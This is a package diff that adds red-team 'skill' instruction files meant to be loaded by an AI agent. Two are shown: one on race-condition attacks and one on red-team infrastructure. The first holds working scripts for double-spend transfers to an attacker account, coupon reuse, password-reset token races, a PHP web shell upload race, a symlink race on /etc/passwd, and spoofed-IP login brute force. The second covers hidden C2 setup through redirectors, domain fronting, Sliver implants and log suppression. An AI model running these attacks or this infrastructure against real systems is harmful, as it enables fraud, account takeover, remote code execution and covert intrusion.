rtexit-method 0.1.5 → 0.1.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/packaged-assets/.agents/skills/rt-adfs/SKILL.md +209 -0
- package/packaged-assets/.agents/skills/rt-azure-ad/SKILL.md +315 -0
- package/packaged-assets/.agents/skills/rt-bluetooth-ble/SKILL.md +302 -0
- package/packaged-assets/.agents/skills/rt-browser-exploitation/SKILL.md +244 -0
- package/packaged-assets/.agents/skills/rt-citrix-vdi/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-exchange-sharepoint/SKILL.md +256 -0
- package/packaged-assets/.agents/skills/rt-race-conditions/SKILL.md +357 -0
- package/packaged-assets/.agents/skills/rt-redteam-infra/SKILL.md +333 -0
- package/packaged-assets/.agents/skills/rt-serverless/SKILL.md +274 -0
- package/packaged-assets/.agents/skills/rt-traffic-analysis/SKILL.md +283 -0
- package/packaged-assets/.agents/skills/rt-websockets-grpc/SKILL.md +357 -0
|
@@ -0,0 +1,357 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-race-conditions
|
|
3
|
+
description: "Race condition and concurrency attack skill for authorized engagements. TOCTOU (Time-of-Check-Time-of-Use) exploitation, HTTP/2 single-packet race attacks, API rate limit and balance bypass, coupon/voucher reuse via parallel requests, account takeover via concurrent password reset, file upload race conditions, Burp Suite Turbo Intruder for single-packet attacks, and limit-one bypass techniques. Use when testing web applications, APIs, or any system with concurrent request handling."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-race-conditions — Race Conditions & Concurrency Attacks
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Race conditions occur when application behavior depends on the timing of concurrent operations. A window of time between a check and its corresponding action (TOCTOU) allows attackers to exploit the gap. Modern HTTP/2 makes these attacks more reliable by sending multiple requests in a single TCP packet — eliminating network jitter.
|
|
11
|
+
|
|
12
|
+
**High-value targets:**
|
|
13
|
+
- Financial transactions (double-spend, balance manipulation)
|
|
14
|
+
- Coupon/promo code systems (use once → use many times)
|
|
15
|
+
- Account limits (free tier bypass, rate limit evasion)
|
|
16
|
+
- Password reset / email verification flows
|
|
17
|
+
- File operations (symlink attacks, upload processing)
|
|
18
|
+
|
|
19
|
+
---
|
|
20
|
+
|
|
21
|
+
## Phase 1 — Identify Race Condition Candidates
|
|
22
|
+
|
|
23
|
+
```bash
|
|
24
|
+
# Patterns that suggest race condition vulnerabilities:
|
|
25
|
+
|
|
26
|
+
# 1. "Use once" operations
|
|
27
|
+
# - Promo codes / coupons
|
|
28
|
+
# - Gift card redemption
|
|
29
|
+
# - One-time tokens (password reset, email verify)
|
|
30
|
+
# - Referral bonuses
|
|
31
|
+
|
|
32
|
+
# 2. Limit-based operations
|
|
33
|
+
# - "Maximum 1 per account"
|
|
34
|
+
# - Rate-limited API calls
|
|
35
|
+
# - Free tier resource limits
|
|
36
|
+
# - Transfer limits
|
|
37
|
+
|
|
38
|
+
# 3. Check-then-act patterns
|
|
39
|
+
# if balance >= amount: deduct(amount) ← race window here
|
|
40
|
+
# if coupon_used == false: apply(coupon) ← race window here
|
|
41
|
+
# if slot_available: reserve(slot) ← race window here
|
|
42
|
+
|
|
43
|
+
# 4. File/resource operations
|
|
44
|
+
# Upload → validate → move ← race in validate step
|
|
45
|
+
# Create temp file → process → delete ← TOCTOU
|
|
46
|
+
|
|
47
|
+
# Test tool: Burp Suite Repeater / Turbo Intruder
|
|
48
|
+
# Browser: DevTools Network tab — look for state-changing requests
|
|
49
|
+
```
|
|
50
|
+
|
|
51
|
+
---
|
|
52
|
+
|
|
53
|
+
## Phase 2 — HTTP/2 Single-Packet Race Attack
|
|
54
|
+
|
|
55
|
+
```bash
|
|
56
|
+
# HTTP/2 allows multiple requests in one TCP packet
|
|
57
|
+
# All requests arrive at server simultaneously → eliminates network jitter
|
|
58
|
+
# Makes race window exploitation much more reliable
|
|
59
|
+
|
|
60
|
+
# Burp Suite — single-packet attack (built-in since v2023.9)
|
|
61
|
+
# 1. Capture the target request in Proxy
|
|
62
|
+
# 2. Send to Repeater
|
|
63
|
+
# 3. Create a group of identical requests (right-click → Add to group)
|
|
64
|
+
# 4. Set connection: Send group in parallel (single-packet attack)
|
|
65
|
+
# 5. Send → all requests hit server simultaneously
|
|
66
|
+
|
|
67
|
+
# Turbo Intruder (Burp extension) — more control
|
|
68
|
+
# Extensions → BApp Store → Turbo Intruder
|
|
69
|
+
|
|
70
|
+
# race_single_packet.py (Turbo Intruder script)
|
|
71
|
+
def queueRequests(target, wordlists):
|
|
72
|
+
engine = RequestEngine(endpoint=target.endpoint,
|
|
73
|
+
concurrentConnections=1,
|
|
74
|
+
requestsPerConnection=50, # 50 requests in one packet
|
|
75
|
+
pipeline=True)
|
|
76
|
+
for i in range(50):
|
|
77
|
+
engine.queue(target.req)
|
|
78
|
+
|
|
79
|
+
def handleResponse(req, interesting):
|
|
80
|
+
table.add(req)
|
|
81
|
+
|
|
82
|
+
# Python requests — parallel race
|
|
83
|
+
import requests, threading, time
|
|
84
|
+
|
|
85
|
+
url = "https://target.com/api/redeem-coupon"
|
|
86
|
+
headers = {"Cookie": "session=YOUR_SESSION", "Content-Type": "application/json"}
|
|
87
|
+
data = '{"coupon_code": "SAVE50"}'
|
|
88
|
+
|
|
89
|
+
results = []
|
|
90
|
+
def send_request():
|
|
91
|
+
r = requests.post(url, headers=headers, data=data)
|
|
92
|
+
results.append(r.status_code)
|
|
93
|
+
|
|
94
|
+
# Launch 20 threads simultaneously
|
|
95
|
+
threads = [threading.Thread(target=send_request) for _ in range(20)]
|
|
96
|
+
|
|
97
|
+
# Synchronize start — all fire at same moment
|
|
98
|
+
barrier = threading.Barrier(20)
|
|
99
|
+
def synchronized_send():
|
|
100
|
+
barrier.wait() # Wait for all threads to be ready
|
|
101
|
+
send_request()
|
|
102
|
+
|
|
103
|
+
threads = [threading.Thread(target=synchronized_send) for _ in range(20)]
|
|
104
|
+
[t.start() for t in threads]
|
|
105
|
+
[t.join() for t in threads]
|
|
106
|
+
print(f"Results: {results}")
|
|
107
|
+
# Multiple 200 responses = race condition exploited
|
|
108
|
+
```
|
|
109
|
+
|
|
110
|
+
---
|
|
111
|
+
|
|
112
|
+
## Phase 3 — Balance / Financial Race Conditions
|
|
113
|
+
|
|
114
|
+
```bash
|
|
115
|
+
# Double-spend attack: transfer money twice before balance updates
|
|
116
|
+
|
|
117
|
+
# Scenario: Transfer $100 from account with $100 balance
|
|
118
|
+
# Check: balance >= 100? YES
|
|
119
|
+
# [RACE WINDOW — send second request here]
|
|
120
|
+
# Deduct: balance = 0
|
|
121
|
+
|
|
122
|
+
# Both requests check balance = 100 → both pass → balance goes negative
|
|
123
|
+
|
|
124
|
+
python3 << 'EOF'
|
|
125
|
+
import requests, threading
|
|
126
|
+
|
|
127
|
+
session = requests.Session()
|
|
128
|
+
session.cookies.set("session", "YOUR_SESSION_TOKEN")
|
|
129
|
+
|
|
130
|
+
url = "https://bank.target.com/api/transfer"
|
|
131
|
+
payload = {"to_account": "ATTACKER_ACCOUNT", "amount": 100}
|
|
132
|
+
|
|
133
|
+
def transfer():
|
|
134
|
+
r = session.post(url, json=payload)
|
|
135
|
+
print(f"Status: {r.status_code} | Response: {r.text[:100]}")
|
|
136
|
+
|
|
137
|
+
# Synchronize 10 transfer requests
|
|
138
|
+
barrier = threading.Barrier(10)
|
|
139
|
+
def sync_transfer():
|
|
140
|
+
barrier.wait()
|
|
141
|
+
transfer()
|
|
142
|
+
|
|
143
|
+
threads = [threading.Thread(target=sync_transfer) for _ in range(10)]
|
|
144
|
+
[t.start() for t in threads]
|
|
145
|
+
[t.join() for t in threads]
|
|
146
|
+
EOF
|
|
147
|
+
|
|
148
|
+
# Same technique for:
|
|
149
|
+
# - Withdrawing more than balance
|
|
150
|
+
# - Applying a discount multiple times
|
|
151
|
+
# - Claiming a reward multiple times
|
|
152
|
+
```
|
|
153
|
+
|
|
154
|
+
---
|
|
155
|
+
|
|
156
|
+
## Phase 4 — Coupon / Promo Code Bypass
|
|
157
|
+
|
|
158
|
+
```bash
|
|
159
|
+
# One-use coupon exploited multiple times
|
|
160
|
+
|
|
161
|
+
# Step 1: Identify the redeem endpoint
|
|
162
|
+
# POST /api/cart/apply-coupon {"code": "SAVE50"}
|
|
163
|
+
|
|
164
|
+
# Step 2: Add item to cart, don't redeem yet
|
|
165
|
+
# Step 3: Send 20+ parallel redemption requests
|
|
166
|
+
|
|
167
|
+
python3 << 'EOF'
|
|
168
|
+
import requests, threading
|
|
169
|
+
|
|
170
|
+
BASE = "https://shop.target.com"
|
|
171
|
+
SESSION = "your_session_cookie"
|
|
172
|
+
|
|
173
|
+
def apply_coupon():
|
|
174
|
+
r = requests.post(f"{BASE}/api/cart/apply-coupon",
|
|
175
|
+
json={"code": "SAVE50"},
|
|
176
|
+
cookies={"session": SESSION})
|
|
177
|
+
print(r.status_code, r.json().get("discount", ""))
|
|
178
|
+
|
|
179
|
+
# Fire 20 simultaneous requests
|
|
180
|
+
barrier = threading.Barrier(20)
|
|
181
|
+
def go():
|
|
182
|
+
barrier.wait()
|
|
183
|
+
apply_coupon()
|
|
184
|
+
|
|
185
|
+
threads = [threading.Thread(target=go) for _ in range(20)]
|
|
186
|
+
[t.start() for t in threads]
|
|
187
|
+
[t.join() for t in threads]
|
|
188
|
+
|
|
189
|
+
# Check cart total — likely applied multiple times
|
|
190
|
+
r = requests.get(f"{BASE}/api/cart", cookies={"session": SESSION})
|
|
191
|
+
print("Cart total:", r.json().get("total"))
|
|
192
|
+
EOF
|
|
193
|
+
```
|
|
194
|
+
|
|
195
|
+
---
|
|
196
|
+
|
|
197
|
+
## Phase 5 — Account Takeover via Concurrent Password Reset
|
|
198
|
+
|
|
199
|
+
```bash
|
|
200
|
+
# Some apps generate short/predictable tokens
|
|
201
|
+
# Race: request multiple resets → multiple valid tokens → brute force shorter
|
|
202
|
+
|
|
203
|
+
# More common: email-based OTP reuse
|
|
204
|
+
# Reset token sent → token valid for 10 min → can be reused multiple times
|
|
205
|
+
# (No invalidation on first use = not a race, just a bug)
|
|
206
|
+
|
|
207
|
+
# Actual race: some apps invalidate token only AFTER successful reset
|
|
208
|
+
# Two simultaneous reset requests with same token:
|
|
209
|
+
# Request 1: validate(token) → valid → reset password → invalidate(token)
|
|
210
|
+
# Request 2: validate(token) → valid (check happened before invalidation)
|
|
211
|
+
# Both succeed → control account
|
|
212
|
+
|
|
213
|
+
python3 << 'EOF'
|
|
214
|
+
import requests, threading
|
|
215
|
+
|
|
216
|
+
token = "RESET_TOKEN_FROM_EMAIL"
|
|
217
|
+
new_pass_1 = "Attacker1!"
|
|
218
|
+
new_pass_2 = "Attacker2!"
|
|
219
|
+
|
|
220
|
+
def reset(new_password):
|
|
221
|
+
r = requests.post("https://target.com/reset-password",
|
|
222
|
+
json={"token": token, "password": new_password})
|
|
223
|
+
print(f"Password {new_password}: {r.status_code} {r.text[:50]}")
|
|
224
|
+
|
|
225
|
+
barrier = threading.Barrier(2)
|
|
226
|
+
t1 = threading.Thread(target=lambda: [barrier.wait(), reset(new_pass_1)])
|
|
227
|
+
t2 = threading.Thread(target=lambda: [barrier.wait(), reset(new_pass_2)])
|
|
228
|
+
t1.start(); t2.start()
|
|
229
|
+
t1.join(); t2.join()
|
|
230
|
+
# If both 200 → token used twice → race confirmed
|
|
231
|
+
EOF
|
|
232
|
+
```
|
|
233
|
+
|
|
234
|
+
---
|
|
235
|
+
|
|
236
|
+
## Phase 6 — File Upload Race Conditions
|
|
237
|
+
|
|
238
|
+
```bash
|
|
239
|
+
# Upload → validate → move to final location
|
|
240
|
+
# Race window: between upload and validation
|
|
241
|
+
# If validation only checks file after move → bypass possible
|
|
242
|
+
|
|
243
|
+
# Scenario: app uploads file, validates it's an image, then serves it
|
|
244
|
+
# Race: upload PHP shell → immediately request it before validation deletes it
|
|
245
|
+
|
|
246
|
+
python3 << 'EOF'
|
|
247
|
+
import requests, threading, time
|
|
248
|
+
|
|
249
|
+
url_upload = "https://target.com/upload"
|
|
250
|
+
url_exec = "https://target.com/uploads/shell.php?cmd=id"
|
|
251
|
+
session_cookie = {"session": "YOUR_SESSION"}
|
|
252
|
+
|
|
253
|
+
shell_content = b"<?php system($_GET['cmd']); ?>"
|
|
254
|
+
|
|
255
|
+
def upload():
|
|
256
|
+
files = {"file": ("shell.php", shell_content, "image/jpeg")}
|
|
257
|
+
return requests.post(url_upload, files=files, cookies=session_cookie)
|
|
258
|
+
|
|
259
|
+
def execute():
|
|
260
|
+
for _ in range(100): # Keep trying during race window
|
|
261
|
+
r = requests.get(url_exec, cookies=session_cookie)
|
|
262
|
+
if "uid=" in r.text:
|
|
263
|
+
print("RCE:", r.text[:100])
|
|
264
|
+
return
|
|
265
|
+
time.sleep(0.01)
|
|
266
|
+
|
|
267
|
+
# Upload and immediately try to execute in parallel
|
|
268
|
+
t_upload = threading.Thread(target=upload)
|
|
269
|
+
t_exec = threading.Thread(target=execute)
|
|
270
|
+
t_exec.start() # Start execution attempts first
|
|
271
|
+
t_upload.start() # Then upload
|
|
272
|
+
t_upload.join(); t_exec.join()
|
|
273
|
+
EOF
|
|
274
|
+
```
|
|
275
|
+
|
|
276
|
+
---
|
|
277
|
+
|
|
278
|
+
## Phase 7 — TOCTOU in File System
|
|
279
|
+
|
|
280
|
+
```bash
|
|
281
|
+
# Time-of-Check-Time-of-Use on filesystem
|
|
282
|
+
# Scenario: app checks if path is safe, then opens it
|
|
283
|
+
# Race: replace safe path with symlink to /etc/passwd between check and open
|
|
284
|
+
|
|
285
|
+
# Classic symlink attack
|
|
286
|
+
mkdir /tmp/race
|
|
287
|
+
ln -s /etc/passwd /tmp/race/target # Create symlink
|
|
288
|
+
|
|
289
|
+
# If app does:
|
|
290
|
+
# if os.path.isfile("/tmp/user_upload"): ← CHECK
|
|
291
|
+
# process("/tmp/user_upload") ← USE (could be symlink now)
|
|
292
|
+
|
|
293
|
+
# Race script
|
|
294
|
+
while true; do
|
|
295
|
+
rm -f /tmp/user_upload
|
|
296
|
+
cp benign_file.txt /tmp/user_upload # Safe file (passes check)
|
|
297
|
+
rm -f /tmp/user_upload
|
|
298
|
+
ln -s /etc/passwd /tmp/user_upload # Symlink (used in action)
|
|
299
|
+
done &
|
|
300
|
+
|
|
301
|
+
# Trigger the vulnerable app operation repeatedly
|
|
302
|
+
# If successful → app reads /etc/passwd instead of user file
|
|
303
|
+
```
|
|
304
|
+
|
|
305
|
+
---
|
|
306
|
+
|
|
307
|
+
## Phase 8 — Rate Limit Bypass
|
|
308
|
+
|
|
309
|
+
```bash
|
|
310
|
+
# Rate limits often implemented per-IP or per-session
|
|
311
|
+
# Race can send burst before counter increments
|
|
312
|
+
|
|
313
|
+
# Identify rate-limited endpoint
|
|
314
|
+
# POST /api/login → 5 attempts/min → locked
|
|
315
|
+
|
|
316
|
+
# Bypass: send all attempts simultaneously before counter processes them
|
|
317
|
+
python3 << 'EOF'
|
|
318
|
+
import requests, threading
|
|
319
|
+
|
|
320
|
+
passwords = ["Summer2024!", "Password1!", "Welcome1!", "Admin123!",
|
|
321
|
+
"Company2024!", "Spring2024!", "Winter2024!", "Fall2024!"]
|
|
322
|
+
|
|
323
|
+
def try_password(p):
|
|
324
|
+
r = requests.post("https://target.com/login",
|
|
325
|
+
json={"username": "admin", "password": p},
|
|
326
|
+
headers={"X-Forwarded-For": f"1.2.3.{hash(p) % 255}"})
|
|
327
|
+
if "invalid" not in r.text.lower():
|
|
328
|
+
print(f"SUCCESS: {p}")
|
|
329
|
+
|
|
330
|
+
barrier = threading.Barrier(len(passwords))
|
|
331
|
+
threads = [threading.Thread(target=lambda p=p: [barrier.wait(), try_password(p)])
|
|
332
|
+
for p in passwords]
|
|
333
|
+
[t.start() for t in threads]
|
|
334
|
+
[t.join() for t in threads]
|
|
335
|
+
EOF
|
|
336
|
+
```
|
|
337
|
+
|
|
338
|
+
---
|
|
339
|
+
|
|
340
|
+
## Skill Levels
|
|
341
|
+
|
|
342
|
+
**BEGINNER:** Burp Repeater parallel group → coupon/promo bypass → observe multiple success responses
|
|
343
|
+
|
|
344
|
+
**INTERMEDIATE:** Turbo Intruder single-packet attack → balance manipulation → password reset token reuse
|
|
345
|
+
|
|
346
|
+
**ADVANCED:** File upload race → TOCTOU symlink → rate limit burst bypass with IP rotation
|
|
347
|
+
|
|
348
|
+
**EXPERT:** Custom HTTP/2 single-packet tooling → distributed race across multiple sessions → chaining with other vulns
|
|
349
|
+
|
|
350
|
+
---
|
|
351
|
+
|
|
352
|
+
## References
|
|
353
|
+
|
|
354
|
+
- PortSwigger Race Conditions: https://portswigger.net/web-security/race-conditions
|
|
355
|
+
- Turbo Intruder: https://github.com/PortSwigger/turbo-intruder
|
|
356
|
+
- HTTP/2 Single Packet Attack paper: https://portswigger.net/research/smashing-the-state-machine
|
|
357
|
+
- MITRE T1499.004: https://attack.mitre.org/techniques/T1499/004/
|
|
@@ -0,0 +1,333 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-redteam-infra
|
|
3
|
+
description: "Red team infrastructure setup and operational security skill. C2 server hardening, Apache/Nginx redirectors, domain fronting via CDN (Cloudflare, Azure CDN), malleable C2 profiles for Sliver/Cobalt Strike, categorized domain acquisition, SSL certificates for C2, team server setup, redirector chaining, and operator OPSEC. Use at the start of every engagement to build resilient, attribution-resistant infrastructure."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-redteam-infra — Red Team Infrastructure & OpSec
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Professional red team infrastructure separates the operator from the target. If blue team blocks your C2 IP, redirectors absorb the hit while the team server stays hidden. Domain fronting makes C2 traffic look like legitimate CDN traffic. Good infrastructure = longer dwell time, realistic APT simulation.
|
|
11
|
+
|
|
12
|
+
**Infrastructure layers:**
|
|
13
|
+
```
|
|
14
|
+
Operator → Team Server (hidden) → Redirector(s) → Target
|
|
15
|
+
↕
|
|
16
|
+
CDN / Domain Front
|
|
17
|
+
```
|
|
18
|
+
|
|
19
|
+
---
|
|
20
|
+
|
|
21
|
+
## Phase 1 — Domain Acquisition & Categorization
|
|
22
|
+
|
|
23
|
+
```bash
|
|
24
|
+
# Buy domains that look legitimate and are pre-categorized
|
|
25
|
+
# Categorized domains bypass web proxies that block "Uncategorized" traffic
|
|
26
|
+
|
|
27
|
+
# Check domain categorization
|
|
28
|
+
curl "https://sitereview.bluecoat.com/v/sitereview.jsp?url=TARGET_DOMAIN"
|
|
29
|
+
# Or: Fortinet, McAfee, Palo Alto URL categorization checkers
|
|
30
|
+
|
|
31
|
+
# Good categories for C2: Technology, Business, CDN, Cloud Services
|
|
32
|
+
# Bad categories: Newly Registered, Malware, Suspicious
|
|
33
|
+
|
|
34
|
+
# Aged domains (registered 1+ years ago) = more trusted
|
|
35
|
+
# Tool: expireddomains.net — find expired domains with good reputation
|
|
36
|
+
|
|
37
|
+
# Domain naming patterns for believability:
|
|
38
|
+
# cdn-assets-[company].com
|
|
39
|
+
# updates-[software].com
|
|
40
|
+
# telemetry-[product].net
|
|
41
|
+
# api-gateway-[company].io
|
|
42
|
+
# [company]-cloud-services.com
|
|
43
|
+
|
|
44
|
+
# Check domain history before buying
|
|
45
|
+
curl "https://web.archive.org/web/*/DOMAIN"
|
|
46
|
+
# Avoid: domains previously used for spam/malware
|
|
47
|
+
```
|
|
48
|
+
|
|
49
|
+
---
|
|
50
|
+
|
|
51
|
+
## Phase 2 — VPS / Cloud Infrastructure Setup
|
|
52
|
+
|
|
53
|
+
```bash
|
|
54
|
+
# Use separate providers for team server and redirectors
|
|
55
|
+
# Team server: Hetzner, OVH, DigitalOcean (EU providers harder to subpoena quickly)
|
|
56
|
+
# Redirectors: AWS, Azure, GCP (looks like legitimate cloud traffic)
|
|
57
|
+
|
|
58
|
+
# NEVER use your real identity for red team infra
|
|
59
|
+
# Pay with crypto or gift cards for anonymity in authorized tests
|
|
60
|
+
|
|
61
|
+
# Basic VPS hardening (team server)
|
|
62
|
+
# Change SSH port
|
|
63
|
+
sed -i 's/#Port 22/Port 2222/' /etc/ssh/sshd_config
|
|
64
|
+
systemctl restart sshd
|
|
65
|
+
|
|
66
|
+
# Restrict access to team only
|
|
67
|
+
ufw default deny incoming
|
|
68
|
+
ufw allow from OPERATOR_IP to any port 2222 # SSH — operators only
|
|
69
|
+
ufw allow from REDIRECTOR_IP to any port 50050 # Cobalt Strike / Sliver
|
|
70
|
+
ufw allow 80,443/tcp # For letsencrypt
|
|
71
|
+
ufw enable
|
|
72
|
+
|
|
73
|
+
# No logging of operator IPs
|
|
74
|
+
sed -i 's/^LogLevel.*/LogLevel QUIET/' /etc/ssh/sshd_config
|
|
75
|
+
|
|
76
|
+
# Firewall: only redirectors can reach team server
|
|
77
|
+
# Targets should NEVER see team server IP directly
|
|
78
|
+
iptables -A INPUT -s REDIRECTOR_IP -p tcp --dport 50050 -j ACCEPT
|
|
79
|
+
iptables -A INPUT -p tcp --dport 50050 -j DROP
|
|
80
|
+
```
|
|
81
|
+
|
|
82
|
+
---
|
|
83
|
+
|
|
84
|
+
## Phase 3 — Apache/Nginx Redirector Setup
|
|
85
|
+
|
|
86
|
+
```bash
|
|
87
|
+
# Redirector sits between target and team server
|
|
88
|
+
# Blue team sees redirector IP — team server IP stays hidden
|
|
89
|
+
# Redirector checks URI/headers → forwards legit C2 traffic → blocks scanners/defenders
|
|
90
|
+
|
|
91
|
+
# Install Apache
|
|
92
|
+
apt install apache2 -y
|
|
93
|
+
a2enmod proxy proxy_http rewrite ssl headers
|
|
94
|
+
|
|
95
|
+
# /etc/apache2/sites-available/redirector.conf
|
|
96
|
+
cat > /etc/apache2/sites-available/redirector.conf << 'EOF'
|
|
97
|
+
<VirtualHost *:443>
|
|
98
|
+
ServerName cdn-assets-corp.com
|
|
99
|
+
SSLEngine on
|
|
100
|
+
SSLCertificateFile /etc/letsencrypt/live/cdn-assets-corp.com/fullchain.pem
|
|
101
|
+
SSLCertificateKeyFile /etc/letsencrypt/live/cdn-assets-corp.com/privkey.pem
|
|
102
|
+
|
|
103
|
+
# Only forward requests matching C2 URI pattern
|
|
104
|
+
# Everything else → redirect to innocent site (avoids detection)
|
|
105
|
+
RewriteEngine On
|
|
106
|
+
RewriteCond %{REQUEST_URI} ^/updates/client/[a-f0-9]{32}$ [NC]
|
|
107
|
+
RewriteRule ^(.*)$ https://TEAM_SERVER_IP:443$1 [P,L]
|
|
108
|
+
|
|
109
|
+
# All other traffic → redirect to Microsoft (looks like CDN)
|
|
110
|
+
RewriteRule ^(.*)$ https://www.microsoft.com/ [R=302,L]
|
|
111
|
+
|
|
112
|
+
# Block scanners
|
|
113
|
+
RewriteCond %{HTTP_USER_AGENT} (curl|python|nmap|masscan|zgrab) [NC]
|
|
114
|
+
RewriteRule .* - [F]
|
|
115
|
+
|
|
116
|
+
ProxyPassReverse / https://TEAM_SERVER_IP:443/
|
|
117
|
+
SSLProxyEngine On
|
|
118
|
+
SSLProxyVerify none
|
|
119
|
+
</VirtualHost>
|
|
120
|
+
EOF
|
|
121
|
+
|
|
122
|
+
a2ensite redirector.conf && systemctl reload apache2
|
|
123
|
+
|
|
124
|
+
# Get SSL cert (Let's Encrypt)
|
|
125
|
+
certbot --apache -d cdn-assets-corp.com
|
|
126
|
+
```
|
|
127
|
+
|
|
128
|
+
---
|
|
129
|
+
|
|
130
|
+
## Phase 4 — Domain Fronting via CDN
|
|
131
|
+
|
|
132
|
+
```bash
|
|
133
|
+
# Domain fronting: use CDN to hide true destination
|
|
134
|
+
# HTTP Host header = your C2 domain
|
|
135
|
+
# SNI/TLS = legitimate CDN domain (e.g., allowed-corp.cloudfront.net)
|
|
136
|
+
# CDN routes based on Host header → reaches your C2
|
|
137
|
+
|
|
138
|
+
# Cloudflare Workers domain fronting
|
|
139
|
+
# 1. Put your C2 domain behind Cloudflare (DNS proxied)
|
|
140
|
+
# 2. Configure Worker to route to team server
|
|
141
|
+
# worker.js:
|
|
142
|
+
cat > worker.js << 'EOF'
|
|
143
|
+
addEventListener('fetch', event => {
|
|
144
|
+
event.respondWith(handleRequest(event.request))
|
|
145
|
+
})
|
|
146
|
+
async function handleRequest(request) {
|
|
147
|
+
const url = new URL(request.url)
|
|
148
|
+
// Forward to team server
|
|
149
|
+
const newUrl = `https://TEAM_SERVER_IP${url.pathname}${url.search}`
|
|
150
|
+
return fetch(newUrl, {
|
|
151
|
+
method: request.method,
|
|
152
|
+
headers: request.headers,
|
|
153
|
+
body: request.body
|
|
154
|
+
})
|
|
155
|
+
}
|
|
156
|
+
EOF
|
|
157
|
+
# Deploy via wrangler CLI
|
|
158
|
+
|
|
159
|
+
# Azure CDN fronting
|
|
160
|
+
# Create Azure CDN endpoint → origin = team server
|
|
161
|
+
# Custom domain = your C2 domain
|
|
162
|
+
# Traffic appears to come from *.azureedge.net
|
|
163
|
+
|
|
164
|
+
# Test domain fronting
|
|
165
|
+
curl -H "Host: YOUR_C2_DOMAIN" https://ALLOWED_CDN_DOMAIN/c2-check
|
|
166
|
+
```
|
|
167
|
+
|
|
168
|
+
---
|
|
169
|
+
|
|
170
|
+
## Phase 5 — Sliver C2 with Redirectors
|
|
171
|
+
|
|
172
|
+
```bash
|
|
173
|
+
# Sliver team server setup (open source C2)
|
|
174
|
+
curl https://sliver.sh/install | sudo bash
|
|
175
|
+
|
|
176
|
+
# Start Sliver server
|
|
177
|
+
sudo systemctl start sliver
|
|
178
|
+
|
|
179
|
+
# Connect operator
|
|
180
|
+
sliver-client
|
|
181
|
+
|
|
182
|
+
# Generate implant pointing to redirector (NOT team server)
|
|
183
|
+
generate --http https://cdn-assets-corp.com --os windows --arch amd64 \
|
|
184
|
+
--name implant --save /tmp/
|
|
185
|
+
|
|
186
|
+
# Create HTTP listener on team server
|
|
187
|
+
https -l 443 -d cdn-assets-corp.com
|
|
188
|
+
|
|
189
|
+
# Multiplayer (team) — add operators
|
|
190
|
+
new-operator --name operator1 --lhost TEAM_SERVER_IP
|
|
191
|
+
# Generates operator1.cfg → share with team member
|
|
192
|
+
|
|
193
|
+
# Implant traffic flow:
|
|
194
|
+
# Target → https://cdn-assets-corp.com (redirector) → TEAM_SERVER_IP:443 (sliver)
|
|
195
|
+
```
|
|
196
|
+
|
|
197
|
+
---
|
|
198
|
+
|
|
199
|
+
## Phase 6 — Malleable C2 Profiles
|
|
200
|
+
|
|
201
|
+
```bash
|
|
202
|
+
# Malleable profiles customize how C2 traffic looks
|
|
203
|
+
# Goal: make beacon traffic look like legitimate application traffic
|
|
204
|
+
|
|
205
|
+
# Sliver custom traffic profile (traffic looks like Google Analytics)
|
|
206
|
+
# Edit ~/.sliver/configs/http-c2.yaml
|
|
207
|
+
|
|
208
|
+
# Custom URI patterns
|
|
209
|
+
uris:
|
|
210
|
+
- /collect
|
|
211
|
+
- /analytics.js
|
|
212
|
+
- /gtag/js
|
|
213
|
+
- /ga.js
|
|
214
|
+
|
|
215
|
+
# Custom headers (mimics Google Analytics)
|
|
216
|
+
headers:
|
|
217
|
+
- "Cache-Control: no-cache"
|
|
218
|
+
- "Accept: text/html,application/xhtml+xml"
|
|
219
|
+
- "Accept-Language: en-US,en;q=0.9"
|
|
220
|
+
|
|
221
|
+
# Cobalt Strike malleable profile example (if available)
|
|
222
|
+
# https://github.com/rsmudge/Malleable-C2-Profiles
|
|
223
|
+
|
|
224
|
+
# Amazon profile (traffic looks like AWS API calls)
|
|
225
|
+
set useragent "aws-sdk-java/1.12.261";
|
|
226
|
+
http-get {
|
|
227
|
+
set uri "/v1/metadata/";
|
|
228
|
+
client { header "x-amz-date" "..."; }
|
|
229
|
+
}
|
|
230
|
+
|
|
231
|
+
# Test profile detection
|
|
232
|
+
# c2lint profile.profile # CS built-in validator
|
|
233
|
+
# Or: pipe implant traffic through Wireshark → verify looks like claimed app
|
|
234
|
+
```
|
|
235
|
+
|
|
236
|
+
---
|
|
237
|
+
|
|
238
|
+
## Phase 7 — Operator OPSEC
|
|
239
|
+
|
|
240
|
+
```bash
|
|
241
|
+
# Never connect directly to targets from your real IP
|
|
242
|
+
# Chain: Operator → VPN → Jump box → Target
|
|
243
|
+
|
|
244
|
+
# VPN for operators
|
|
245
|
+
# WireGuard setup on jump box
|
|
246
|
+
apt install wireguard -y
|
|
247
|
+
wg genkey | tee /etc/wireguard/private.key | wg pubkey > /etc/wireguard/public.key
|
|
248
|
+
|
|
249
|
+
# /etc/wireguard/wg0.conf (server)
|
|
250
|
+
[Interface]
|
|
251
|
+
Address = 10.8.0.1/24
|
|
252
|
+
ListenPort = 51820
|
|
253
|
+
PrivateKey = SERVER_PRIVATE_KEY
|
|
254
|
+
PostUp = iptables -A FORWARD -i wg0 -j ACCEPT; iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
|
|
255
|
+
PostDown = iptables -D FORWARD -i wg0 -j ACCEPT; iptables -t nat -D POSTROUTING -o eth0 -j MASQUERADE
|
|
256
|
+
|
|
257
|
+
[Peer]
|
|
258
|
+
# Operator 1
|
|
259
|
+
PublicKey = OPERATOR1_PUBLIC_KEY
|
|
260
|
+
AllowedIPs = 10.8.0.2/32
|
|
261
|
+
|
|
262
|
+
wg-quick up wg0
|
|
263
|
+
|
|
264
|
+
# OPSEC checklist per engagement:
|
|
265
|
+
# ✅ All traffic through VPN → jump box → target
|
|
266
|
+
# ✅ No direct connections team server ↔ target
|
|
267
|
+
# ✅ Redirectors in place before first beacon
|
|
268
|
+
# ✅ Domain categorized before use
|
|
269
|
+
# ✅ Unique implant per target (no cross-engagement reuse)
|
|
270
|
+
